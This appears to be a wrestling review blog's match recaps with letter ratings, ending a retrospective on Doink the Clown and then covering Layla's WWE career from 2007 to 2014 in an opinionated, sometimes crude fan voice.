Back with Luna chasing Dink with both villains missing the little guy. Doink is finally getting up off the floor but can’t slam Bigelow, giving the big man a two count. We hit the chinlock for a bit before Doink fights up and grabs a belly to back suplex. Some clotheslines have Bigelow rocked but Luna trips Doink up. Bigelow hits the top rope headbutt, only to have Dink break up the pin. Luna grabs Dink but the little clown steps on Luna’s foot and headbutts Bigelow low, knocking him to the floor for a countout.

Rating: D. This was a comedy match minus the comedy that most people over about six years old would laugh at. Apollo sucked the life out of the character as the face turn took away all of the psychological dimensions to Doink and turned him into a guy who did a lot of goofy pranks.

Here’s the required tag match from Wrestlemania X.

Bam Bam Bigelow/Luna Vachon vs. Doink the Clown/Dink

Bigelow runs over Doink to start with a clothesline and a dropkick to silence the crowd. A headbutt misses though and the Clown pounds away a bit. Bigelow misses an elbow drop and it’s off to Dink, meaning Luna has to come in as well. This is your usual “comedy” but Luna does hit a running hip attack in 619 position but Dink starts running around in circles. The small clown goes up top but misses a dive.

Vachon goes up but misses a BIG splash, allowing the big boys to come back in. Doink pounds away but is clotheslined to the floor with one shot. Dink annoys both heels but Doink comes back in, only to be sat on in a sunset flip attempt. A charges misses the big clown though and a jumping DDT puts Bigelow down. The Whoopee Cushion (top rope seated senton) completely misses and Dink is knocked to the floor. Doink tries a suplex but Bigelow falls on him for two. The top rope headbutt is enough to finish off the clowns.

Rating: D. This was bad but not completely terrible. Doink wasn’t doing his stupid comedy and thankfully Bigelow didn’t have to look all that stupid, which is the worst thing they could have done. The match wasn’t much but to be fair they needed something to give the crowd a breather after the awesome opener. This wasn’t horrible.

What’s better than one small clown? THREE OF THEM! Against THREE MINI LAWLERS! From Survivor Series 1994.

Royal Family vs. Clowns R Us

Jerry Lawler, Queasy, Sleazy, Cheesy
Doink, Dink, Wink, Pink

We’ve got midgets. Great. In case you can’t tell, they’re three small Lawlers and three small clowns. Lawler tells the fans to NOT chant Burger King at him, because he’s a master at baiting a crowd you know. The big guys start and guess what the fans are chanting. Here’s the first ten minutes of the match: Lawler and Doink do something, Jerry takes over, the small clowns interfere and Lawler gets mad and loses the advantage.

Lawler tries an enziguri but Doink ducks to send Jerry hiding in his corner. Jerry yells at his partners and the Clowns are all laying on the ropes. Jerry gets Doink down and has the small Lawlers run over him. They make faces at the clowns then run back over Doink and crash in a pile. Keep I mind that these other kings have facial and chest hair. Jerry yells at them again and it’s back to the big guys fighting some more.

The small clowns all come in and cover Jerry with Doink counting. Lawler is all ticked off so they do the EXACT SAME SEQUENCE with Jerry counting Doink’s shoulders. Jerry can’t catch Cheesy when Doink kicks him off so Cheesy gets a two count on Lawler with Dink counting. Doink puts a Burger King crown on Lawler to make him even madder. Dink gets on Doink’s shoulders and (this isn’t a typo) Jerry gets on Sleazy’s shoulders which goes as well as you would expect it to.

The big guys have a test of strength and it turns into a big crisscross between the little guys. Lawler gets a non-existent foreign object to take over but it’s time for a chase scene! Jerry reverses a cross body and rolls up Doink with a handful of tights to eliminate the big guy. Lawler isn’t allowed to be in the ring with one of the smaller guys so the match is in essence over already.

It’s Queasy vs. Dink to start the second half of the match and Dink gets his arm bitten. Queasy gets his tights bitten as does Lawler. Now it’s Cheesy vs. Wink with Wink pulling on the beard. Lawler blocks a monkey flip and Cheesy pins Wink off a rollup. A minute later, Lawler drops Cheesy on Pink from six feet in the air for the pin and it’s Dink vs. all four of them. Pink hides under the ring instead of leaving as Dink beats up all three little guys. A top rope cross body looks to pin Cheesy but Lawler makes the save. Sleazy gets the easy pin to win it.

Rating: S. As in stupider, which I now am having watched this. Last year’s show at least had full sized people in there having these matches and it only ran ten minutes. This ran SIXTEEN MINUTES and wasted Jerry freaking Lawler on it. I’ll take ANYTHING after this and like it more than this.

We’ll get away from this stuff and go to Superstars, January 28, 1995.

Doink the Clown vs. Kwang

Kwang is a masked martial artist more commonly known as Savio Vega. Dink offers an early distraction, allowing Doink to get in some kicks to take over. Back up and Kwang nails a clothesline followed by a hook kick to the face. More boots set up a sunset flip from Doink followed by a dropkick for two. Kwang jumps into a powerslam for the pin out of nowhere.

Rating: D. Good night there were a lot of kicks in this thing. Kwang was a decent idea for a lower level card guy but the name pretty much killed him. Doink didn’t have much in the ring at this point but the powerslam wasn’t bad. At least the character doesn’t have that much longer to go.

Next up is a Raw from August 14, 1995 against a man that is described as the original Bray Wyatt.

Waylon Mercy vs. Doink the Clown

Mercy is a southerner who was the nicest guy in the world before the bell but he went nuts when the bell rang. Some armdrags send Mercy to the floor and a shoulder to the ribs knocks him off the apron. Doink gets catapulted out to the floor but comes back with some right hands. Mercy drops him with a single left hand and puts on the maniacal sleeper for the win. The fans chanting KILL THE CLOWN tells you everything you need to know about Doink at the moment.

Rating: D+. It’s a shame that Dan Spivey was in such bad shape as this character could have been a huge deal. The look was great and the promos were awesome but Spivey was just too old and banged up. Still though, it was cool to think about what it could have become. The fans just hated Doink by this point.

One more match from this era, on Raw in September 1995.

Doink the Clown vs. Hunter Hearst Helmsley

HHH gets annoyed at having Doink’s makeup rub off on his chest so Doink slams him down. A running clothesline drops Doink and Helmsley stomps away, only to run into a boot in the corner. Doink plants him with a side slam but misses an elbow. We hit a reverse chinlock on the clown before a Pedigree gets the pin.

Rating: D. Another boring match from Doink as he was nothing but a jobber to the stars at this point. Helmsley was brand new at this point too so seeing him get wins like this was exactly what you would expect to see happening. The fans didn’t care about the clown by this point either.

That would be about it for Doink as a full time wrestler but he would make some sporadic appearances later on, usually played by Steve Lombardi. Here’s an example from Smackdown on July 31, 2003.

Chris Benoit vs. Doink the Clown

Rhyno has sent Doink to annoy Benoit. Doink takes his time throwing stuff to the crowd so Benoit takes him down on the floor. The hard clothesline drops him to the mat and there’s the wicked German suplex. Doink gets crotched on the top rope, setting up a belly to back superplex, the Swan Dive and the Crossface for the submission.

Another one, from Raw on October 10, 2005.

Rob Conway vs. Doink the Clown

Conway wrestles in sunglasses and is a low level legend killer at this point. Doink gets two off a sunset flip and starts a BOO/YAY chant by pointing at Conway and then himself. Conway finally clotheslines him down and hooks a neckbreaker for no cover. A suplex neckbreaker is good for the pin on Doink.

Doink would be on Saturday Night’s Main Event XXXIV.

Kane/Doink/Eugene vs. Viscera/Kevin Thorn/Umaga

They deserve the ratings they get for this nonsense. The clown and the vampire start us off. Please just make this quick, that’s all I ask. They actually gave this 11 minutes. ARE YOU FREAKING KIDDING ME??? Eugene gets the tar beaten out of him until Kane gets the big tag. Umaga destroys him and then Kane destroys the very fat man for the win. Somehow that was 11 minutes that I’ll never get back. Just get us out of here please.

Rating: F-. This was on in 2007. Let that sink in for a minute.

And another from Raw on July 10, 2010, a show I attended live.

Santino Bunch vs. Regal Bunch

Her video is literally nothing but clips from the Brady Bunch. No one under the age of 15 gets this at all as she’s just some old woman. It’s weird seeing a Boyle County (big old corn fed Kentucky high school football team) shirt on WWE TV. Florence is the announcer here and says she’s feeling groovy. It’s Regal, Ryder (with regular tights now), Primo and Doink (I’d bet on Nick Dinsmore, aka Eugene) vs. Santino, Khali, Kozlov and Goldust. That’s actually a fairly accomplished face team.

Henderson gets a MUCH better reaction here than she did in the video earlier. Wow apparently it was Steve Lombardi as Doink, more commonly known as the Brooklyn Brawler. The captains start us off as Santino has been less annoying lately. Florence puts on Regal’s robe and Santino goes Cobra on us. I wonder if he’s Cobra Commander.

It’s a big mess already and here’s Doink. The crowd only cared about him for the sake of comedy. Khali comes in and falls victim to a squirt gun. A big chop ends this in like a minute. Khali’s music really is good. Henderson is a sport here and at least seems like she wants to be there which is a very good thing if nothing else. She kisses Khali afterwards which is disturbing.

Rating: N/A. Although anything with these 8 guys can’t be incredibly good. Thankfully it seems that the guest host concept is ending. Shame it’s only 7 months too late but whatever.

And finally, from Raw on July 2, 2012 as part of Heath Slater hates legends.

Heath Slater vs. Doink The Clown

This is basically a squash with Slater hitting his spinning sleeper mat slam (didn’t that have a name?) for the pin at 1:20.

As you can see pretty clearly, Doink was little more than a joke for most of his career. However, those early days when he was sinister and evil and basically the Joker were some very entertaining performances and showed how much potential the character had. Then he became a joke and everyone hated him but that’s life in wrestling for you.

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Wrestler of the Day – June 22: Layla

Time for someone a bit better looking. Today is Layla.

After winning the 2006 Diva Search, Layla would wrestle in a lot of battle royals and this match at Survivor Series 2007, which is close enough to being a battle royal.

Mickie James/Maria/Torrie Wilson/Michelle McCool/Kelly Kelly vs. Beth Phoenix/Melina/Jillian Hall/Victoria/Layla

One fall to a finish here and Beth is Women’s Champion. The Divas Title doesn’t exist yet which is how things should have stayed. Layla is WAY hotter being evil and Melina has some gorgeous hair. She also falls off the apron during her splits entrance which is worth a chuckle. The second attempt works and thankfully she’s smiling after screwing it up. Mickie and Maria are ridiculously good looking as well.

Victoria and Michelle start things off with Michelle taking over with a headlock. A big boot puts Victoria (Tara in TNA if you’re new at this) down and it’s off to Torrie who can’t wrestle a watchable match to save her life. Victoria kills her mostly dead with a side slam and it’s off to Layla who is so bad here that she can’t even beat up torrie. Kelly and Jillian come in and Jillian tries to scream a bit, only to get rolled up for two. Maria comes in, basically wearing a bikini.

Thankfully Beth comes in to flatten Maria before handing it right back to Layla. Actually make that Melina, who misses a charge at Maria and crotches herself, allowing for the hot tag to Mickie. James beats up everyone in sight, has her partners take out Beth, and hits the Long Kiss Goodnight on Melina for the pin. What’s the Long Kiss Goodnight you ask? That would be every 13 year old’s dream: Mickie literally bends Melina back and kisses her before kicking her in the head for the pin.

Rating: D. Yes, the match sucked. Yes, most of the women in this are horrible wrestlers. Yes, if you’re complaining about these things, you’re missing the point. This was pure fan service as you had ten girls in either tight or barely there outfits and one hot woman kissing another hot woman before kicking her in the head. If you’re looking for a wrestling match here, you’re in the wrong place.

Layla was still learning so we’ll jump ahead to Smackdown, May 16, 2008.

Layla vs. Michelle McCool

Before Laycool. Michelle is still a face at this point, meaning she’s just a tall, good looking blonde. She also does the Velvet Sky hip shake as she gets in the ring. Michelle trips Layla up and catapults her into the buckle for two. A leg lock with a bridge has Layla screaming and a shin breaker makes it even worse. Michelle hooks a heel hook and Layla taps. Nothing match but Michelle looked about a thousand miles ahead of Layla.

I’m skipping all of the 12/16/whatever Divas tag matches as there’s nothing to gain from them. Here’s a rare singles match from Smackdown on May 29, 2009.

Eve Torres vs. Layla

This is the result of a dance off gone wrong. In 2009 that’s the story of a Divas match. In 2013, it’s the story for continuing a Chris Jericho feud. Wrestling is funny that way sometimes. Layla charges at Eve to start and pounds away before they brawl on the mat. They head out to the floor for more brawling before going inside again for some….what would I call this…..oh bad wrestling. Layla cranks on Eve’s arms before getting caught in a hair drag to the mat. Eve gets two off a sunset flip and rolls through a bad looking cross body to pin Layla.

Rating: D. They look good in their outfits, they look good in their dance offs when they can shake their hips, and that’s about the extent of the good things about this crop of Divas. Layla would hook up with Michelle in a bit to form Laycool which was the best thing to happen to the Divas in YEARS. Also did anyone need two Divas matches in one show?

Another random tag match from September 4, 2009.

Maria/Eve Torres vs. Layla/Natalya

Apparently this is the fallout from a six person tag last night where Eve had Natalya beaten but Tyson Kidd cost her the fall. Nattie and Maria start things off. I don’t know if it’s my thing for redheads or what but Maria has always been gorgeous. Layla distracts Maria and Nattie takes her head off with a clothesline to take over.

Off to Layla who hooks her reverse Tarantula and hits a shot to the back of Maria for two. The evil ones (Layla/Natalya) take turns beating up Maria until it’s finally off to Eve. She comes in and fires off some kicks before getting kicked in the face by Layla for two. Everything breaks down and eve hits a cartwheel into a moonsault to Layla for the pin.

Rating: C-. I say this a lot but it’s amazing how much more interesting the girls used to be like a year ago. I can’t quite put my finger on it but they come off as much stronger and more serious characters here instead of the girls today where they come off as cute and perky. The older ones come off as serious and tougher and more like wrestlers than Divas, which is a good thing.

Here’s a ten Divas tag, albeit in elimination form, from Survivor Series 2009.

Team Mickie James vs. Team Michelle McCool

Michelle McCool, Layla, Beth Phoenix, Jillian Hall, Alicia Fox
Mickie James, Kelly Kelly, Melina, Gail Kim, Eve Torres

Michelle is Women’s Champion and Melina is Divas Champion. I’m not sure if this is before of after Laycool was making fun of Mickie for being “fat”. Kelly and Layla get things going and it’s not pretty from the start. They are but the wrestling isn’t quite so smooth. Layla hits some dropkicks to the back but Kelly comes back with a legdrop to the back of the head (not the K2 but a regular legdrop) to get the quick elimination.

Off to Gail vs. Michelle and it’s a quick Faithbreaker (Styles Clash) to eliminate Kim. Seriously it’s that fast. Off to Eve vs. Jillian with the singer taking over with a cartwheel splash. After some uninspired stuff, Eve pins Jillian with a top rope sunset flip and is immediately pinned herself after the Glam Slam. A second Glam Slam pins Kelly and it’s down to Mickie/Melina vs. Beth/Michelle/Alicia. Mickie comes in to fight Beth and after some forearms, a crucifix gets rid of Phoenix.

Alicia comes in next and things slow WAY down as Beth was the only girl in there that was going to be able to beat Mickie. A northern lights suplex with a GREAT bridge from Alicia gets two but Mickie backflips up from the mat into a front chancery. It’s quickly broken up but it looked awesome. Mickie comes off the middle rope with a Thesz Press for the pin to make it 2-1.

Michelle comes in and stomps on Mickie before hooking a chinlock. Mickie comes back with a forearm to the face and both chicks are down. James can’t quite make the tag so Michelle slams her down for two. There’s the hot tag to Melina who goes nuts but gets no response. Michelle suplexes her down but she puts Melina over her shoulders and gets caught in a sunset flip for the final pin.

Rating: D-. This was worthless. As in there was no value to this whatsoever. The sex appeal is going down too as most of the girls are more covered up than they were in the previous years, and when you have bad wrestling with a lack of sex appeal, the Divas matches go way down in value. The crowd didn’t care at all here either.

In the summer of 2009, Layla and Michelle McCool joined forces as Laycool. The duo dominated the Divas division for a long time and were a breath of air to the division. Here they are at Elimination Chamber 2010.

Gail Kim/Maryse vs. Michelle McCool/Layla

Oy seriously? For the life of me I do not get this. Maryse would beat Gail clean the next night anyway, so what the heck is the point to this? I just do not get it. To be fair I don’t care enough to figure it out anyway so there we go. Yep the Smackdown girls are way hotter. Gail and Layla start us off and it’s not very good at all. Basically Maryse refuses to tag in and it’s a handicap match. Yep she won’t tag and Michelle kicks the heck out of Gail and the Styles Clash ends it. Maryse beats her up afterwards.

Rating: N/A. I have no idea what the point of this was unless they’re setting up to unify the titles at Mania or something like that. This was a waste of time and the only perk were the looks of Michelle and Layla.

On May 14, 2010’s Smackdown, Laycool as a team got a Women’s Title shot.

Women’s Title: Laycool vs. Beth Phoenix

Beth has a bad knee coming in so the girls make fun of it for all it’s worth. Tags aren’t required so Michelle goes after Beth’s knee to start. Beth shrugs her off and shoves Layla down but the numbers catch up to her. She slams both halves of Laycool down but hurts the knee again in the process. Michells and Beth ram heads, allowing Layla to roll over and get the pin. Much screaming occurs.

Layla would be recognized as the sole champion and defend the title at Money in the Bank 2010.

Smackdown Women’s Title: Layla vs. Kelly Kelly

Kelly looks awesome tonight as does Michelle. No one cares about this obviously but they’re a bit awake here. Kelly hits her K2 thing but Michelle grabs the leg and puts it on the ropes. Kelly goes for a sunset flip off the second rope and Layla goes British Bulldog on her for the pin. Yeah whatever.

Rating: D-. Just for Striker using the English Muffin name twice which is annoying as all goodness, though Laycool’s music is incredibly addcitive. They’re clearly just killing time before Beth comes back to do her thing. This was pretty uninteresting though and really went nowhere but at least Kelly was hot and it didn’t go on that long.

On Raw, September 20, 2010, the two Divas Titles were unified when Melina faced Layla.

Divas Title: Layla vs. Melina

Michelle is on commentary here. They both are champions still here and both have the big butterfly belts still. Oh dear. Melina gets sent to the floor early on and takes Layla’s head off with a clothesline. Melina goes after Michelle and then drills Layla. This is rather intense. We randomly start a count at seven and back in the ring Layla hits one move: Diamond Dust, to end it.

Rating: N/A. This was really quick but we got a cool finisher to it (girl sits on the top rope and grabs the other by the head and does a front flip into a Stunner) if nothing else. That and Michelle looked great. This hopefully ends it as we wait for Beth to come back and take the belts from them. Nothing special here but more intense than usual.

As is the case with all teams, Laycool split up. They had a Loser Leaves WWE match at Extreme Rules 2011.

Michelle McCool vs. Layla

More or less a street fight here and the loser leaves WWE. Michelle wisely jumps Layla during her lay on the rope entrance. Out to the floor as this is another intense brawl. A shot into the table gets two for Michelle. Big boot misses and here comes Layla. Belly to belly gets two for Michelle as we hit the floor again.

They fight on the barrier of all things with Michelle taking over. DIAMOND DUST gets two for Layla as they come back in. Faithbreaker is countered into the Layout for two. Michelle counters a jackknife cover into a Faithbreaker (Styles Clash) but can’t cover immediately. Layla counters the cover into a rollup/crucifix pin to get rid of Michelle.

Rating: C+. I liked this again. The Divas can do pretty well if they’re given the proper amount of time. Layla winning here is probably due to Michelle leaving soon if not tonight apparently which is fine. Definitely one of the better matches with the females in awhile as this worked fine. Layle is getting a lot better every time she gets in there, which is definitely a good sign.

Layla tore her ACL and MCL in the match, putting her out for a year. Her big return was a surprise at Extreme Rules 2012.

Divas Title: Nikki Bella vs. ???

It’s Layla, who at least looks better than Kharma. She’s been gone what, a year? This is your basic Divas match with the Bellas trying to switch after a spin kick and Layla countering the facejam into the Layout Neckbreaker for the pin at the title at 2:26.

Like most champions, Layla would barely defend the title. Here’s a non-title match from Raw, August 27, 2012.

Natalya vs. Layla

Before the match, Vickie comes out and says to hurry the match up because she has something to say. Layla speeds things up to start and hits some nice athletic stuff, including a few rollups and a springboard cross body for two. Natalya kicks her to the floor and ties Layla up in the ring skirt. Back in and Layla tries some rollups before settling for a kick to the head for the pin at 2:48. This was one of the better Divas matches I can remember in a long time.

Layla wouldn’t do much in 2013, but here she is in England on April 26, 2013’s Smackdown.

Layla vs. Aksana

Layla is her usual bubbly self again, so I guess the heel tease from a few weeks ago is added to the list of dropped angles. Aksana is sent to the apron where she poses, only to charge back in for some near falls. Layla gets caught by a running knee to the head for two before she starts working on Layla’s hand. Aksana bends Layla’s arm around the ropes and easily stops some martial arts from Layla. The British chick gets a running start and hooks a side roll after a bunch of flips for the pin on Aksana at 3:04.

Rating: D+. Dang it why did it have to break three minutes? This was just a way to have the home country girl get a win and look good in British flag shorts. As usual, the Divas continue to be nothing of note and a mere time filler on most of the shows. Aksana wasn’t as terrible as she usually is here though.

In 2014, Layla would hook up with Fandango as his new dance parner. Here they are teaming up on Raw, April 14, 2014.

Santino Marella/Emma vs. Fandango/Layla

The guys trade wristlocks to start but the girls come in when Santino loads up the Cobra. Emma gets the Dilemma on Layla but gets slammed off the top for the pin at 1:20.

So….yeah the Divas division pretty much sucked around this time as they weren’t allowed to do anything in the ring and most of the matches were under three minutes long. Layla isn’t the best worker in the world but she has enough of a personality and is absolutely stunning (the cameras truly don’t do her justice) to deserve the push she’s gotten. She’s harmless so I have no issue with her.

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